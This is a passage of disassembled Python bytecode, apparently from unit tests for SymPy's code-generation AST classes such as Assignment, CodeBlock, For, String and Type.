BINARY_MULTIPLY LOAD_CONST '+' LOAD_CONST 1 CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL A LOAD_GLOBAL A BINARY_ADD LOAD_CONST '+' LOAD_GLOBAL mat CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL B LOAD_CONST '+' LOAD_CONST 0 CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL AddAugmentedAssignment LOAD_GLOBAL SubAugmentedAssignment LOAD_GLOBAL MulAugmentedAssignment LOAD_GLOBAL DivAugmentedAssignment LOAD_GLOBAL ModAugmentedAssignment BUILD_LIST STORE_FAST assignment_classes LOAD_GLOBAL x LOAD_CONST 2 LOAD_GLOBAL y BINARY_MULTIPLY LOAD_CONST 2 BINARY_ADD BUILD_TUPLE LOAD_GLOBAL B LOAD_GLOBAL i BINARY_SUBSCR LOAD_GLOBAL x BUILD_TUPLE LOAD_GLOBAL A22 LOAD_GLOBAL B22 BUILD_TUPLE LOAD_GLOBAL A LOAD_CONST (0, 0) BINARY_SUBSCR LOAD_GLOBAL x BUILD_TUPLE BUILD_LIST STORE_FAST pairs SETUP_LOOP to 138 LOAD_FAST assignment_classes GET_ITER FOR_ITER to 136 STORE_FAST cls SETUP_LOOP to 134 LOAD_FAST pairs GET_ITER FOR_ITER to 132 UNPACK_SEQUENCE STORE_FAST lhs STORE_FAST rhs LOAD_FAST cls LOAD_FAST lhs LOAD_FAST rhs CALL_FUNCTION STORE_FAST a LOAD_GLOBAL repr LOAD_FAST a CALL_FUNCTION LOAD_CONST '%s(%s, %s)' LOAD_FAST cls LOAD_ATTR __name__ LOAD_GLOBAL repr LOAD_FAST lhs CALL_FUNCTION LOAD_GLOBAL repr LOAD_FAST rhs CALL_FUNCTION BUILD_TUPLE BINARY_MODULO COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL CodeBlock LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_GLOBAL x LOAD_CONST 1 BINARY_ADD CALL_FUNCTION CALL_FUNCTION STORE_FAST c LOAD_FAST c LOAD_ATTR func LOAD_FAST c LOAD_ATTR args CALL_FUNCTION LOAD_FAST c COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST c LOAD_ATTR left_hand_sides LOAD_GLOBAL Tuple LOAD_GLOBAL x LOAD_GLOBAL y CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST c LOAD_ATTR right_hand_sides LOAD_GLOBAL Tuple LOAD_CONST 1 LOAD_GLOBAL x LOAD_CONST 1 BINARY_ADD CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL y LOAD_GLOBAL z BINARY_ADD CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL z LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL t LOAD_GLOBAL x CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_CONST 2 CALL_FUNCTION BUILD_LIST STORE_FAST assignments LOAD_GLOBAL Assignment LOAD_GLOBAL z LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_CONST 2 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL y LOAD_GLOBAL z BINARY_ADD CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL t LOAD_GLOBAL x CALL_FUNCTION BUILD_LIST STORE_FAST ordered_assignments LOAD_GLOBAL CodeBlock LOAD_METHOD topological_sort LOAD_FAST assignments CALL_METHOD STORE_FAST c1 LOAD_FAST c1 LOAD_GLOBAL CodeBlock LOAD_FAST ordered_assignments CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL y LOAD_GLOBAL z BINARY_ADD CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL z LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_GLOBAL x CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_CONST 2 CALL_FUNCTION BUILD_LIST STORE_DEREF invalid_assignments LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CLOSURE invalid_assignments BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab703065d0, file "f.py", line 187> LOAD_CONST 'test_CodeBlock_topological_sort.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL y LOAD_GLOBAL z BINARY_ADD CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL z LOAD_GLOBAL a LOAD_GLOBAL b BINARY_MULTIPLY CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL t LOAD_GLOBAL x CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_GLOBAL b LOAD_CONST 3 BINARY_ADD CALL_FUNCTION BUILD_LIST STORE_FAST free_assignments LOAD_GLOBAL Assignment LOAD_GLOBAL z LOAD_GLOBAL a LOAD_GLOBAL b BINARY_MULTIPLY CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_GLOBAL b LOAD_CONST 3 BINARY_ADD CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL y LOAD_GLOBAL z BINARY_ADD CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL t LOAD_GLOBAL x CALL_FUNCTION BUILD_LIST STORE_FAST free_assignments_ordered LOAD_GLOBAL CodeBlock LOAD_METHOD topological_sort LOAD_FAST free_assignments CALL_METHOD STORE_FAST c2 LOAD_FAST c2 LOAD_GLOBAL CodeBlock LOAD_FAST free_assignments_ordered CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL CodeBlock LOAD_METHOD topological_sort LOAD_DEREF invalid_assignments CALL_METHOD RETURN_VALUE LOAD_GLOBAL CodeBlock LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL y LOAD_GLOBAL z BINARY_ADD CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL z LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL t LOAD_GLOBAL x CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_CONST 2 CALL_FUNCTION CALL_FUNCTION STORE_FAST c1 LOAD_FAST c1 LOAD_ATTR free_symbols LOAD_GLOBAL set CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL CodeBlock LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL y LOAD_GLOBAL z BINARY_ADD CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL z LOAD_GLOBAL a LOAD_GLOBAL b BINARY_MULTIPLY CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL t LOAD_GLOBAL x CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_GLOBAL b LOAD_CONST 3 BINARY_ADD CALL_FUNCTION CALL_FUNCTION STORE_FAST c2 LOAD_FAST c2 LOAD_ATTR free_symbols LOAD_GLOBAL a LOAD_GLOBAL b BUILD_SET COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL CodeBlock LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL sin LOAD_GLOBAL y CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL z LOAD_GLOBAL sin LOAD_GLOBAL y CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL t LOAD_GLOBAL x LOAD_GLOBAL z BINARY_MULTIPLY CALL_FUNCTION CALL_FUNCTION STORE_FAST c1 LOAD_FAST c1 LOAD_METHOD cse CALL_METHOD LOAD_GLOBAL CodeBlock LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL x0 LOAD_GLOBAL sin LOAD_GLOBAL y CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL x0 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL z LOAD_GLOBAL x0 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL t LOAD_GLOBAL x LOAD_GLOBAL z BINARY_MULTIPLY CALL_FUNCTION CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL raises LOAD_GLOBAL NotImplementedError LOAD_CONST <code object <lambda> at 0x7fab703068a0, file "f.py", line 242> LOAD_CONST 'test_CodeBlock_cse.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL CodeBlock LOAD_GLOBAL Assignment LOAD_GLOBAL x0 LOAD_GLOBAL sin LOAD_GLOBAL y CALL_FUNCTION LOAD_CONST 1 BINARY_ADD CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL x1 LOAD_CONST 2 LOAD_GLOBAL sin LOAD_GLOBAL y CALL_FUNCTION BINARY_MULTIPLY CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL z LOAD_GLOBAL x LOAD_GLOBAL y BINARY_MULTIPLY CALL_FUNCTION CALL_FUNCTION STORE_FAST c2 LOAD_FAST c2 LOAD_METHOD cse CALL_METHOD LOAD_GLOBAL CodeBlock LOAD_GLOBAL Assignment LOAD_GLOBAL x2 LOAD_GLOBAL sin LOAD_GLOBAL y CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL x0 LOAD_GLOBAL x2 LOAD_CONST 1 BINARY_ADD CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL x1 LOAD_CONST 2 LOAD_GLOBAL x2 BINARY_MULTIPLY CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL z LOAD_GLOBAL x LOAD_GLOBAL y BINARY_MULTIPLY CALL_FUNCTION CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL CodeBlock LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_CONST 1 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL y LOAD_CONST 2 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD cse CALL_METHOD RETURN_VALUE LOAD_GLOBAL CodeBlock LOAD_GLOBAL Assignment LOAD_GLOBAL A22 LOAD_GLOBAL Matrix LOAD_GLOBAL x LOAD_GLOBAL sin LOAD_GLOBAL y CALL_FUNCTION BUILD_LIST LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST BUILD_LIST CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL B22 LOAD_GLOBAL Matrix LOAD_GLOBAL sin LOAD_GLOBAL y CALL_FUNCTION LOAD_CONST 2 LOAD_GLOBAL sin LOAD_GLOBAL y CALL_FUNCTION BINARY_MULTIPLY BUILD_LIST LOAD_GLOBAL sin LOAD_GLOBAL y CALL_FUNCTION LOAD_CONST 2 BINARY_POWER LOAD_CONST 7 BUILD_LIST BUILD_LIST CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_FAST c LOAD_FAST c LOAD_METHOD cse CALL_METHOD LOAD_GLOBAL CodeBlock LOAD_GLOBAL Assignment LOAD_GLOBAL x0 LOAD_GLOBAL sin LOAD_GLOBAL y CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL A22 LOAD_GLOBAL Matrix LOAD_GLOBAL x LOAD_GLOBAL x0 BUILD_LIST LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST BUILD_LIST CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL B22 LOAD_GLOBAL Matrix LOAD_GLOBAL x0 LOAD_CONST 2 LOAD_GLOBAL x0 BINARY_MULTIPLY BUILD_LIST LOAD_GLOBAL x0 LOAD_CONST 2 BINARY_POWER LOAD_CONST 7 BUILD_LIST BUILD_LIST CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL For LOAD_GLOBAL n LOAD_GLOBAL Range LOAD_CONST 0 LOAD_CONST 3 CALL_FUNCTION LOAD_GLOBAL Assignment LOAD_GLOBAL A LOAD_GLOBAL n LOAD_CONST 0 BUILD_TUPLE BINARY_SUBSCR LOAD_GLOBAL x LOAD_GLOBAL n BINARY_ADD CALL_FUNCTION LOAD_GLOBAL aug_assign LOAD_GLOBAL x LOAD_CONST '+' LOAD_GLOBAL y CALL_FUNCTION BUILD_TUPLE CALL_FUNCTION STORE_FAST f LOAD_GLOBAL For LOAD_GLOBAL n LOAD_CONST (1, 2, 3, 4, 5) LOAD_GLOBAL Assignment LOAD_GLOBAL A LOAD_GLOBAL n LOAD_CONST 0 BUILD_TUPLE BINARY_SUBSCR LOAD_GLOBAL x LOAD_GLOBAL n BINARY_ADD CALL_FUNCTION BUILD_TUPLE CALL_FUNCTION STORE_FAST f LOAD_FAST f LOAD_ATTR func LOAD_FAST f LOAD_ATTR args CALL_FUNCTION LOAD_FAST f COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL raises LOAD_GLOBAL TypeError LOAD_CONST <code object <lambda> at 0x7fab70306030, file "f.py", line 274> LOAD_CONST 'test_For.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL For LOAD_GLOBAL n LOAD_GLOBAL x LOAD_GLOBAL x LOAD_GLOBAL y BINARY_ADD BUILD_TUPLE CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL none LOAD_ATTR is_Atom POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL none LOAD_GLOBAL none COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_BUILD_CLASS LOAD_CONST <code object Foo at 0x7fab822585d0, file "f.py", line 281> LOAD_CONST 'Foo' MAKE_FUNCTION LOAD_CONST 'Foo' LOAD_GLOBAL Token CALL_FUNCTION STORE_FAST Foo LOAD_FAST Foo CALL_FUNCTION STORE_FAST foo LOAD_FAST foo LOAD_GLOBAL none COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL none LOAD_CONST None COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL none LOAD_GLOBAL NoneToken CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL none LOAD_ATTR func LOAD_GLOBAL none LOAD_ATTR args CALL_FUNCTION LOAD_GLOBAL none COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_none.<locals>.Foo' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_GLOBAL String LOAD_CONST 'foobar' CALL_FUNCTION STORE_FAST st LOAD_FAST st LOAD_ATTR is_Atom POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST st LOAD_GLOBAL String LOAD_CONST 'foobar' CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST st LOAD_ATTR text LOAD_CONST 'foobar' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST st LOAD_ATTR func BUILD_TUPLE LOAD_FAST st LOAD_METHOD kwargs CALL_METHOD CALL_FUNCTION LOAD_FAST st COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST st LOAD_ATTR func LOAD_FAST st LOAD_ATTR args CALL_FUNCTION LOAD_FAST st COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_BUILD_CLASS LOAD_CONST <code object Signifier at 0x7fab82258b70, file "f.py", line 299> LOAD_CONST 'Signifier' MAKE_FUNCTION LOAD_CONST 'Signifier' LOAD_GLOBAL String CALL_FUNCTION STORE_FAST Signifier LOAD_FAST Signifier LOAD_CONST 'foobar' CALL_FUNCTION STORE_FAST si LOAD_FAST si LOAD_FAST st COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST si LOAD_ATTR text LOAD_FAST st LOAD_ATTR text COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL String LOAD_CONST 'foo' CALL_FUNCTION STORE_FAST s LOAD_GLOBAL str LOAD_FAST s CALL_FUNCTION LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL repr LOAD_FAST s CALL_FUNCTION LOAD_CONST "String('foo')" COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_String.<locals>.Signifier' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Comment LOAD_CONST 'foobar' CALL_FUNCTION STORE_FAST c LOAD_FAST c LOAD_ATTR text LOAD_CONST 'foobar' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST c CALL_FUNCTION LOAD_CONST 'foobar' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Node CALL_FUNCTION STORE_FAST n LOAD_FAST n LOAD_GLOBAL Node CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST n LOAD_ATTR func LOAD_FAST n LOAD_ATTR args CALL_FUNCTION LOAD_FAST n COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Type LOAD_CONST 'MyType' CALL_FUNCTION STORE_FAST t LOAD_GLOBAL len LOAD_FAST t LOAD_ATTR args CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST t LOAD_ATTR name LOAD_GLOBAL String LOAD_CONST 'MyType' CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST t CALL_FUNCTION LOAD_CONST 'MyType' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL repr LOAD_FAST t CALL_FUNCTION LOAD_CONST "Type(String('MyType'))" COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Type LOAD_FAST t CALL_FUNCTION LOAD_FAST t COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST t LOAD_ATTR func LOAD_FAST t LOAD_ATTR args CALL_FUNCTION LOAD_FAST t COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Type LOAD_CONST 't1' CALL_FUNCTION STORE_FAST t1 LOAD_GLOBAL Type LOAD_CONST 't2' CALL_FUNCTION STORE_FAST t2 LOAD_FAST t1 LOAD_FAST t2 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST t1 LOAD_FAST t1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST t2 LOAD_FAST t2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Type LOAD_CONST 't1' CALL_FUNCTION STORE_FAST t1b LOAD_FAST t1 LOAD_FAST t1b COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST t2 LOAD_FAST t1b COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_GLOBAL i CALL_METHOD LOAD_GLOBAL integer COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL symbols LOAD_CONST 'u' LOAD_CONST True LOAD_CONST ('real',) CALL_FUNCTION STORE_FAST u LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_FAST u CALL_METHOD LOAD_GLOBAL real COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_GLOBAL n CALL_METHOD LOAD_GLOBAL integer COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_CONST 3 CALL_METHOD LOAD_GLOBAL integer COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_CONST 3.0 CALL_METHOD LOAD_GLOBAL real COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_CONST (3+1j) CALL_METHOD LOAD_GLOBAL complex_ COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab82258c90, file "f.py", line 347> LOAD_CONST 'test_Type__from_expr.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Type LOAD_METHOD from_expr LOAD_GLOBAL sum CALL_METHOD RETURN_VALUE LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab82258270, file "f.py", line 351> LOAD_CONST 'test_Type__cast_check__integers.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL integer LOAD_METHOD cast_check LOAD_CONST '3' CALL_METHOD LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL integer LOAD_METHOD cast_check LOAD_GLOBAL Float LOAD_CONST '3.0000000000000000000' CALL_FUNCTION CALL_METHOD LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL integer LOAD_METHOD cast_check LOAD_GLOBAL Float LOAD_CONST '3.0000000000000000001' CALL_FUNCTION CALL_METHOD LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL int8 LOAD_METHOD cast_check LOAD_CONST 127.0 CALL_METHOD LOAD_CONST 127 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab82258810, file "f.py", line 357> LOAD_CONST 'test_Type__cast_check__integers.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL int8 LOAD_METHOD cast_check LOAD_CONST -128 CALL_METHOD LOAD_CONST -128 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab822589c0, file "f.py", line 359> LOAD_CONST 'test_Type__cast_check__integers.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL uint8 LOAD_METHOD cast_check LOAD_CONST 0 CALL_METHOD LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL uint8 LOAD_METHOD cast_check LOAD_CONST 128 CALL_METHOD LOAD_CONST 128 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab82258300, file "f.py", line 363> LOAD_CONST 'test_Type__cast_check__integers.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab822584b0, file "f.py", line 364> LOAD_CONST 'test_Type__cast_check__integers.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL integer LOAD_METHOD cast_check LOAD_CONST 3.5 CALL_METHOD RETURN_VALUE LOAD_GLOBAL int8 LOAD_METHOD cast_check LOAD_CONST 128 CALL_METHOD RETURN_VALUE LOAD_GLOBAL int8 LOAD_METHOD cast_check LOAD_CONST -129 CALL_METHOD RETURN_VALUE LOAD_GLOBAL uint8 LOAD_METHOD cast_check LOAD_CONST 256.0 CALL_METHOD RETURN_VALUE LOAD_GLOBAL uint8 LOAD_METHOD cast_check LOAD_CONST -1 CALL_METHOD RETURN_VALUE LOAD_GLOBAL Attribute LOAD_CONST 'noexcept' CALL_FUNCTION STORE_FAST noexcept LOAD_FAST noexcept LOAD_GLOBAL Attribute LOAD_CONST 'noexcept' CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Attribute LOAD_CONST 'alignas' LOAD_CONST 16 BUILD_LIST CALL_FUNCTION STORE_FAST alignas16 LOAD_GLOBAL Attribute LOAD_CONST 'alignas' LOAD_CONST 32 BUILD_LIST CALL_FUNCTION STORE_FAST alignas32 LOAD_FAST alignas16 LOAD_FAST alignas32 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST alignas16 LOAD_ATTR func LOAD_FAST alignas16 LOAD_ATTR args CALL_FUNCTION LOAD_FAST alignas16 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Variable LOAD_GLOBAL x LOAD_GLOBAL real LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST v LOAD_FAST v LOAD_GLOBAL Variable LOAD_FAST v CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST v LOAD_GLOBAL Variable LOAD_CONST 'x' LOAD_GLOBAL real LOAD_CONST ('type',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST v LOAD_ATTR symbol LOAD_GLOBAL x COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST v LOAD_ATTR type LOAD_GLOBAL real COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL value_const LOAD_FAST v LOAD_ATTR attrs COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST v LOAD_ATTR func LOAD_FAST v LOAD_ATTR args CALL_FUNCTION LOAD_FAST v 